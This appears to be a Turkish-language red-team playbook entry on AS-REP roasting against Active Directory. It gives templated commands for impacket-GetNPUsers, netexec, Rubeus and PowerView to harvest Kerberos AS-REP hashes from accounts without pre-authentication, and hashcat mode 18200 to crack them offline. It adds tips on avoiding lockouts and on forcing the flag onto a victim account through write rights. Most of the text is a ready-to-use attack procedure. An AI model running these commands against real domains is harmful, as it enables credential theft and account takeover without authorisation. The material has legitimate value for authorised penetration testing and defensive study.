AS-REP Roasting
Kerberos ön kimlik doğrulaması (pre-authentication) devre dışı bırakılmış (DONT_REQ_PREAUTH) hesaplar için AS-REP yanıtındaki şifreli bloğu çekip offline kırma. impacket-GetNPUsers, netexec --asreproast, Rubeus asreproast ile toplanır; hashcat -m 18200 ile kırılır.
- Geçerli kullanıcı listesi (kimliksiz senaryo) VEYA düşük yetkili bir domain hesabı (kimlikli senaryo)
- DC'ye Kerberos (88/TCP) erişimi
- Domain ({{DOMAIN}}) ve DC IP ({{DC_IP}})
- Saat senkronizasyonu (clock skew < 5 dk)
Komutlar
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -format hashcat -outputfile asrep.hash nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --asreproast asrep.hash Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash /nowrap hashcat -m 18200 asrep.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol | fl Teori: Pre-Authentication Nedir?
Kerberos’ta normalde bir kullanıcı TGT istemeden önce kimliğini kanıtlamak için bir AS-REQ içinde, kendi NT hash’i ile şifrelenmiş bir zaman damgası (pre-auth data) gönderir. DC bu bloğu çözebilirse kimlik doğrulanır. Ancak bir hesabın userAccountControl özelliğinde DONT_REQ_PREAUTH (0x400000) bayrağı ayarlıysa, DC pre-auth istemeden doğrudan bir AS-REP döner. Bu AS-REP’in bir kısmı kullanıcının NT hash’inden türetilen anahtarla şifrelidir. Saldırgan bu bloğu kimlik doğrulamadan alıp offline olarak kırarak parolayı elde edebilir.
Adım 1: Hedef Hesapları Bul
İki senaryo vardır:
- Kimliksiz (no creds): Elinizde sadece kullanıcı listesi var.
impacket-GetNPUsers ... -no-pass -usersfile users.txther kullanıcı için AS-REQ deneyip pre-auth gerektirmeyenlerin AS-REP’ini yakalar. Listeyi ad-userenum’dan alın. - Kimlikli (with creds): Düşük yetkili bir hesabınız var.
-requestile LDAP’ı sorgulayıp DONT_REQ_PREAUTH bayraklı hesapları otomatik bulursunuz;nxc ldap --asreproastveyaRubeus asreproastaynısını yapar.
Adım 2: AS-REP Hash’lerini Topla
Çıktı $krb5asrep$23$user@DOMAIN:... formatındadır. -format hashcat / /format:hashcat kullanın ki doğrudan hashcat mode 18200’e verilebilsin. -outputfile ile dosyaya yazın.
Adım 3: Offline Kır
hashcat -m 18200 ile sözlük + kural saldırısı uygulayın. Bu işlem offline’dır, DC’ye trafik üretmez, kilitleme riski yoktur. Kırılan parola domain kullanıcı parolasıdır ve doğrudan kullanılabilir (ad-spray reuse, ad-bloodhound).
Gotchas
- Clock skew: Kerberos işlemidir; DC ile saat farkı 5 dk’yı geçerse
KRB_AP_ERR_SKEW.sudo ntpdate {{DC_IP}}ile düzeltin. - etype farkı: Nadiren AS-REP RC4 (etype 23, mode 18200) yerine AES (etype 17/18) döner; o durumda hashcat modu değişir. Çoğu lab RC4 döner.
- Çok düşük başarı: DONT_REQ_PREAUTH yaygın değildir; çoğu domainde 0-2 hesap bulunur. Bulamazsanız ad-kerberoast’a geçin (SPN’li hesaplar çok daha yaygın).
- -no-pass anonim sorgu: Bazı sertleştirilmiş domainlerde anonim AS-REQ engellidir; o zaman kimlikli
-requestyöntemine geçin. - GenericWrite ile zorla AS-REP roast: Bir hesap üzerinde yazma yetkiniz varsa userAccountControl’e DONT_REQ_PREAUTH ekleyip o hesabı roast edilebilir hale getirebilirsiniz (targeted AS-REP roasting) — ad-acl-abuse ile birlikte.